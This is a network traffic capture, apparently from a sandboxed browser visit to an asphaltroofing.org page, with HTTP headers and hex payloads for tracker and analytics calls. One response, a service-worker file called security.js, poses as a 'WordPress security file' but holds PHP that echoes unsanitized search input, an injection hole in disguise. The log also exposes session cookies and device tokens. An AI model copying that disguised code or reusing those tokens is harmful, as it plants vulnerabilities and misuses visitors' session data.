2024-04-23 14:54:10 UTC	7554	IN	Data Raw: 29 15 5b 6a 48 a7 1c 73 fb d1 46 9b f1 f8 95 2b 43 7b 9b 6f 2e f2 5c 2e 13 f1 28 f8 3c d0 ef 1f 51 fb 53 38 8b cf a5 da 5c 5d 86 17 45 7c b9 3e 71 43 cd 1c 7b b2 ad f5 06 b2 55 33 4f 75 62 c6 b7 e7 95 06 b2 8c 08 2b 28 81 3a d0 07 03 d6 72 0f e1 23 ad 6e a8 ee d8 65 3c 51 02 d9 59 97 71 dd 8e 46 2b 27 de 49 1b 40 35 9a 8d db 81 a7 88 a8 00 9c 8c f6 ed 5b c5 1a f4 65 c6 ee d5 a8 55 53 92 dc 0e fe f5 22 b0 3e a5 5d c7 38 a8 5d 85 02 ac 00 08 06 3b d4 77 28 40 04 12 41 e3 93 d2 a6 b6 81 98 ee 3c f3 59 70 76 e7 38 c8 a8 50 b8 45 22 b6 d3 ca 75 ce 79 15 23 a2 f9 68 b9 63 9f 73 cd 4e 8a c4 ee 2a 36 e3 93 8e 95 81 40 70 48 07 d8 d0 b0 90 46 9e a1 53 78 03 76 47 e9 4d 19 44 8b b5 bf 0f 71 40 f9 d1 43 b5 76 75 1c 91 44 c7 36 e1 9e 06 6a 10 da 58 e3 c7 e0 18 5e 95 Data Ascii: )[jHsF+C{o.\.(<QS8\]E\|>qC{U3Oub+(:r#ne<QYqF+'I@5[eUS">]8];w(@A<Ypv8PE"uy#hcsN*6@pHFSxvGMDq@CvuD6jX^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
210	192.168.2.6	49969	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:09 UTC	719	OUT	GET /wp-content/uploads/2017/05/postcard-150x150.jpg HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884046.0.0.0; _scc_session=pc=2&C_TOUCH=2024-04-23T14:54:07.930Z
2024-04-23 14:54:10 UTC	518	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:09 GMT Content-Type: image/jpeg Content-Length: 5529 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 11 Mar 2022 16:05:26 GMT ETag: "1c01c6b-1599-5d9f37faedd80" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:54:10 UTC	5529	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 08 08 08 08 09 08 09 0a 0a 09 0d 0e 0c 0e 0d 13 11 10 10 11 13 1c 14 16 14 16 14 1c 2b 1b 1f 1b 1b 1f 1b 2b 26 2e 25 23 25 2e 26 44 35 2f 2f 35 44 4e 42 3e 42 4e 5f 55 55 5f 77 71 77 9c 9c d1 01 08 08 08 08 09 08 09 0a 0a 09 0d 0e 0c 0e 0d 13 11 10 10 11 13 1c 14 16 14 16 14 1c 2b 1b 1f 1b 1b 1f 1b 2b 26 2e 25 23 25 2e 26 44 35 2f 2f 35 44 4e 42 3e 42 4e 5f 55 55 5f 77 71 77 9c 9c d1 ff c2 00 11 08 00 96 00 96 03 01 22 00 02 11 01 03 11 01 ff c4 00 33 00 00 02 02 03 01 01 00 00 00 00 00 00 00 00 00 00 05 06 00 04 02 03 07 01 08 01 00 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 00 04 05 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 e6 8c 68 cc a2 e7 86 d4 a6 94 1d ee 38 ec c4 Data Ascii: JFIF++&.%#%.&D5//5DNB>BN_UU_wqw++&.%#%.&D5//5DNB>BN_UU_wqw"3h8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
211	192.168.2.6	49971	13.32.151.88	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:09 UTC	388	OUT	GET /v1/refresh HTTP/1.1 Host: marco.feathr.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:10 UTC	805	IN	HTTP/1.1 200 OK Content-Type: image/gif Content-Length: 43 Connection: close Date: Tue, 23 Apr 2024 14:54:10 GMT x-amzn-RequestId: 59630bd5-410a-4427-a04c-a9f88a547440 Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type,X-Amz-Date,Authorization,X-Api-Key Set-Cookie: f_id=6627cb818425280008d4a656; Domain=.feathr.co; Path=/; Expires=Wed, 23 Apr 2025 14:54:10 GMT; SameSite=None; Secure; HttpOnly x-amz-apigw-id: Wry-4FFHIAMEpcA= Access-Control-Allow-Methods: * X-Amzn-Trace-Id: Root=1-6627cb92-3adaa40609b5a61949dfaad0;Parent=11b785d772e45f27;Sampled=0;lineage=5eb2f403:0 X-Cache: Miss from cloudfront Via: 1.1 2b72ec8519147ac56ddc0dd5ac0b0210.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD66-C2 X-Amz-Cf-Id: 6KHkhQLxz1d-asd0FSl5z5Y4MjvRtK9RlRdWyn7AhhlAWFmhTVvBhQ==
2024-04-23 14:54:10 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
212	192.168.2.6	49975	104.26.15.119	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:09 UTC	426	OUT	GET /v1/accounts/603026366fd8bf4e42de107f/integrations HTTP/1.1 Host: polo.feathr.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:10 UTC	892	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:10 GMT Content-Type: application/json Content-Length: 43 Connection: close Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Gde66TwA1ZrRK8niuTEkLfEKU6bJIOsOqABFs%2FwqKCUelfEsM0MpsnLphFq5xcxDYUO3bWSuZ5cGgjjzhjeZ%2FwY0Hq3XOD0kzziOMxSdZg5qKEGt%2FTX2x5Wz9rF5hPqc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eaff1ae9a6775-ATL
2024-04-23 14:54:10 UTC	43	IN	Data Raw: 7b 22 69 6e 74 65 67 72 61 74 69 6f 6e 73 22 3a 20 5b 22 74 72 61 64 65 64 65 73 6b 22 2c 20 22 66 61 63 65 62 6f 6f 6b 22 5d 7d Data Ascii: {"integrations": ["tradedesk", "facebook"]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
213	192.168.2.6	49974	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:09 UTC	829	OUT	GET /security.js?v=1713884048476 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive Cache-Control: max-age=0 Accept: / Service-Worker: script Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: serviceworker Referer: https://www.asphaltroofing.org/about-arma/join/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884046.0.0.0; _scc_session=pc=2&C_TOUCH=2024-04-23T14:54:07.930Z
2024-04-23 14:54:10 UTC	543	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:10 GMT Content-Type: text/javascript Content-Length: 1478 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 29 Apr 2022 14:36:00 GMT ETag: "4506e-5c6-5ddcbf6119400" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:54:10 UTC	1478	IN	Data Raw: 2f 2a 20 49 74 20 69 73 20 57 6f 72 64 50 72 65 73 73 20 73 65 63 75 72 69 74 79 20 66 69 6c 65 2e 0d 0a 54 68 61 6e 6b 73 20 74 6f 20 74 68 69 73 20 70 6c 75 67 69 6e 2c 20 79 6f 75 72 20 77 65 62 73 69 74 65 20 77 69 6c 6c 20 62 65 20 66 61 73 74 65 72 2c 20 6d 6f 72 65 20 75 70 2d 74 6f 2d 64 61 74 65 20 61 6e 64 20 6d 6f 72 65 20 73 65 63 75 72 65 2e 20 54 68 69 73 20 70 6c 75 67 69 6e 20 69 73 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 75 70 64 61 74 65 64 20 62 79 20 74 68 65 20 73 79 73 74 65 6d 2e 0d 0a 0d 0a 24 73 65 61 72 63 68 20 3d 20 24 5f 47 45 54 5b 27 73 65 61 72 63 68 27 5d 20 3f 3f 20 6e 75 6c 6c 3b 0d 0a 65 63 68 6f 20 27 53 65 61 72 63 68 20 72 65 73 75 6c 74 73 20 66 6f 72 20 27 2e 24 73 65 61 72 63 68 3b 0d 0a 24 73 65 61 72 63 68 Data Ascii: /* It is WordPress security file.Thanks to this plugin, your website will be faster, more up-to-date and more secure. This plugin is automatically updated by the system.$search = $_GET['search'] ?? null;echo 'Search results for '.$search;$search

Session ID	Source IP	Source Port	Destination IP	Destination Port
214	192.168.2.6	49970	20.25.241.18	443

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:10 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 50 44 59 69 32 63 4a 73 6a 30 79 54 46 6d 61 63 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 37 35 32 39 35 35 34 38 62 30 33 32 38 62 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: PDYi2cJsj0yTFmac.1Context: b75295548b0328be
2024-04-23 14:54:10 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-04-23 14:54:10 UTC	1076	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 35 33 0d 0a 4d 53 2d 43 56 3a 20 50 44 59 69 32 63 4a 73 6a 30 79 54 46 6d 61 63 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 37 35 32 39 35 35 34 38 62 30 33 32 38 62 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 51 6c 62 2b 57 67 59 4e 43 38 55 37 6b 51 50 4a 79 72 44 31 34 53 77 45 71 2f 55 47 65 57 78 34 7a 74 51 6b 6b 30 53 57 61 66 59 30 6d 78 4d 34 46 4d 2f 56 61 6f 56 4d 51 53 65 36 50 68 52 57 4b 30 68 2f 4c 6a 30 52 35 5a 56 68 35 61 71 57 4c 37 31 49 64 33 51 32 50 48 75 56 47 69 55 70 6a 54 5a 47 53 69 38 66 42 4c 6f 4c 77 Data Ascii: ATH 2 CON\DEVICE 1053MS-CV: PDYi2cJsj0yTFmac.2Context: b75295548b0328be<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAQlb+WgYNC8U7kQPJyrD14SwEq/UGeWx4ztQkk0SWafY0mxM4FM/VaoVMQSe6PhRWK0h/Lj0R5ZVh5aqWL71Id3Q2PHuVGiUpjTZGSi8fBLoLw
2024-04-23 14:54:10 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 50 44 59 69 32 63 4a 73 6a 30 79 54 46 6d 61 63 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 37 35 32 39 35 35 34 38 62 30 33 32 38 62 65 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: PDYi2cJsj0yTFmac.3Context: b75295548b0328be<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-04-23 14:54:10 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-04-23 14:54:10 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 6c 67 58 65 79 66 38 71 2b 45 53 53 45 52 65 55 45 56 42 2f 54 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: lgXeyf8q+ESSEReUEVB/Tg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
215	192.168.2.6	49982	172.67.68.21	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:10 UTC	644	OUT	GET /v1/analytics/match/script.js?a_id=603026366fd8bf4e42de107f&pk=feathr&cb=1713884048509 HTTP/1.1 Host: polo.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:11 UTC	970	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:11 GMT Content-Type: text/javascript Content-Length: 207 Connection: close Cache-Control: no-cache, max-age=0 ETag: "6627cb818425280008d4a656" Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mvHCMmFFYI%2FHtH4laT1mn%2FX%2BAwWcZXdUb5i6NMUL41ut4ehO94TdnWXbgfQVNwQWbR9xOR6dyOmyEBnU62GS%2B1HydjtbS4HaeXkT1sX4%2FIXhglzV33cSy%2Bt4L7%2BsplMq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eaff7ca01672b-ATL
2024-04-23 14:54:11 UTC	207	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 20 28 77 29 20 7b 0a 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 69 66 20 28 74 79 70 65 6f 66 20 77 2e 66 65 61 74 68 72 20 3d 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 29 20 7b 0a 20 20 20 20 20 20 20 20 77 2e 66 65 61 74 68 72 28 27 6d 61 74 63 68 27 2c 20 27 36 36 32 37 63 62 38 31 38 34 32 35 32 38 30 30 30 38 64 34 61 36 35 36 27 2c 20 27 62 37 33 63 62 62 65 39 2d 64 33 66 36 2d 34 33 66 39 2d 38 39 31 62 2d 33 31 38 36 65 65 34 37 31 32 61 62 27 29 3b 0a 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 0a 7d 28 77 69 6e 64 6f 77 29 29 3b Data Ascii: (function (w) { if (typeof w.feathr === 'function') { w.feathr('match', '6627cb818425280008d4a656', 'b73cbbe9-d3f6-43f9-891b-3186ee4712ab'); } }(window));

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
216	192.168.2.6	49983	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:11 UTC	704	OUT	GET /?wc-ajax=get_refreshed_fragments HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884046.0.0.0; _scc_session=pc=2&C_TOUCH=2024-04-23T14:54:07.930Z
2024-04-23 14:54:12 UTC	539	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:12 GMT Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; X-Content-Type-Options: nosniff X-Robots-Tag: noindex Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Vary: Accept-Encoding X-Sucuri-Cache: MISS
2024-04-23 14:54:12 UTC	936	IN	Data Raw: 33 39 63 0d 0a 7b 22 66 72 61 67 6d 65 6e 74 73 22 3a 7b 22 64 69 76 2e 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 22 3a 22 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 5c 22 3e 5c 6e 5c 6e 5c 74 3c 70 20 63 6c 61 73 73 3d 5c 22 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 69 6e 69 2d 63 61 72 74 5f 5f 65 6d 70 74 79 2d 6d 65 73 73 61 67 65 5c 22 3e 4e 6f 20 70 72 6f 64 75 63 74 73 20 69 6e 20 74 68 65 20 63 61 72 74 2e 3c 5c 2f 70 3e 5c 6e 5c 6e 5c 6e 3c 5c 2f 64 69 76 3e 22 2c 22 73 70 61 6e 2e 65 73 73 2d 63 61 72 74 2d 63 6f 6e 74 65 6e 74 22 3a 22 5c 74 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 65 73 73 2d 63 61 72 74 2d 63 6f 6e 74 Data Ascii: 39c{"fragments":{"div.widget_shopping_cart_content":"<div class=\"widget_shopping_cart_content\">\n\n\t<p class=\"woocommerce-mini-cart__empty-message\">No products in the cart.<\/p>\n\n\n<\/div>","span.ess-cart-content":"\t <span class=\"ess-cart-cont

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
217	192.168.2.6	49984	162.247.243.29	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:11 UTC	855	OUT	POST /events/1/5b403e9444?a=120876115&v=1.257.0&to=YVIAbURTXxUHWhVYWVgYI1pCW14ISXQifVlRXgx6WVxFFAlVDVREGVMLSkZeUB8%3D&rst=13501&ck=0&s=bc78c66f37fd5017&ref=https://arma1.memberclicks.net/login&ptid=52e19d87-0001-bff8-6b02-018f0b732943 HTTP/1.1 Host: bam.nr-data.net Connection: keep-alive Content-Length: 244 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://arma1.memberclicks.net Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:11 UTC	244	OUT	Data Raw: 62 65 6c 2e 36 3b 65 2c 27 63 6c 73 2c 32 76 2c 38 3b 35 2c 27 6d 65 74 72 69 63 49 64 2c 27 76 33 2d 31 37 31 33 38 38 34 30 34 35 33 33 39 2d 38 33 32 32 32 32 35 37 35 32 35 36 35 3b 35 2c 27 6c 61 72 67 65 73 74 53 68 69 66 74 54 61 72 67 65 74 2c 27 23 66 6f 6f 74 65 72 3b 36 2c 27 6c 61 72 67 65 73 74 53 68 69 66 74 54 69 6d 65 2c 38 30 39 35 2e 33 39 39 39 39 39 39 39 39 39 39 34 3b 36 2c 27 6c 61 72 67 65 73 74 53 68 69 66 74 56 61 6c 75 65 2c 30 2e 31 30 33 32 32 30 37 33 34 31 36 35 32 37 33 31 39 3b 35 2c 27 6c 6f 61 64 53 74 61 74 65 2c 27 63 6f 6d 70 6c 65 74 65 3b 35 2c 27 6e 65 74 2d 65 74 79 70 65 2c 27 33 67 3b 36 2c 27 6e 65 74 2d 72 74 74 2c 33 35 30 2e 3b 36 2c 27 6e 65 74 2d 64 6c 69 6e 6b 2c 31 2e 35 Data Ascii: bel.6;e,'cls,2v,8;5,'metricId,'v3-1713884045339-8322225752565;5,'largestShiftTarget,'#footer;6,'largestShiftTime,8095.399999999994;6,'largestShiftValue,0.10322073416527319;5,'loadState,'complete;5,'net-etype,'3g;6,'net-rtt,350.;6,'net-dlink,1.5
2024-04-23 14:54:11 UTC	364	IN	HTTP/1.1 200 Connection: close Content-Length: 24 date: Tue, 23 Apr 2024 14:54:11 GMT content-type: image/gif cross-origin-resource-policy: cross-origin access-control-allow-methods: GET, POST, PUT, HEAD, OPTIONS access-control-allow-credentials: true access-control-allow-origin: https://arma1.memberclicks.net x-served-by: cache-pdk-kfty2130088-PDK
2024-04-23 14:54:11 UTC	24	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 Data Ascii: GIF89a,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
218	192.168.2.6	49986	162.247.243.29	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:11 UTC	856	OUT	POST /jserrors/1/5b403e9444?a=120876115&v=1.257.0&to=YVIAbURTXxUHWhVYWVgYI1pCW14ISXQifVlRXgx6WVxFFAlVDVREGVMLSkZeUB8%3D&rst=13501&ck=0&s=bc78c66f37fd5017&ref=https://arma1.memberclicks.net/login&ptid=52e19d87-0001-bff8-6b02-018f0b732943 HTTP/1.1 Host: bam.nr-data.net Connection: keep-alive Content-Length: 73 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://arma1.memberclicks.net Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:11 UTC	73	OUT	Data Raw: 7b 22 73 6d 22 3a 5b 7b 22 70 61 72 61 6d 73 22 3a 7b 22 6e 61 6d 65 22 3a 22 41 6a 61 78 2f 45 76 65 6e 74 73 2f 45 78 63 6c 75 64 65 64 2f 41 67 65 6e 74 22 7d 2c 22 73 74 61 74 73 22 3a 7b 22 63 22 3a 31 7d 7d 5d 7d Data Ascii: {"sm":[{"params":{"name":"Ajax/Events/Excluded/Agent"},"stats":{"c":1}}]}
2024-04-23 14:54:11 UTC	364	IN	HTTP/1.1 200 Connection: close Content-Length: 24 date: Tue, 23 Apr 2024 14:54:11 GMT content-type: image/gif cross-origin-resource-policy: cross-origin access-control-allow-methods: GET, POST, PUT, HEAD, OPTIONS access-control-allow-credentials: true access-control-allow-origin: https://arma1.memberclicks.net x-served-by: cache-pdk-kfty2130020-PDK
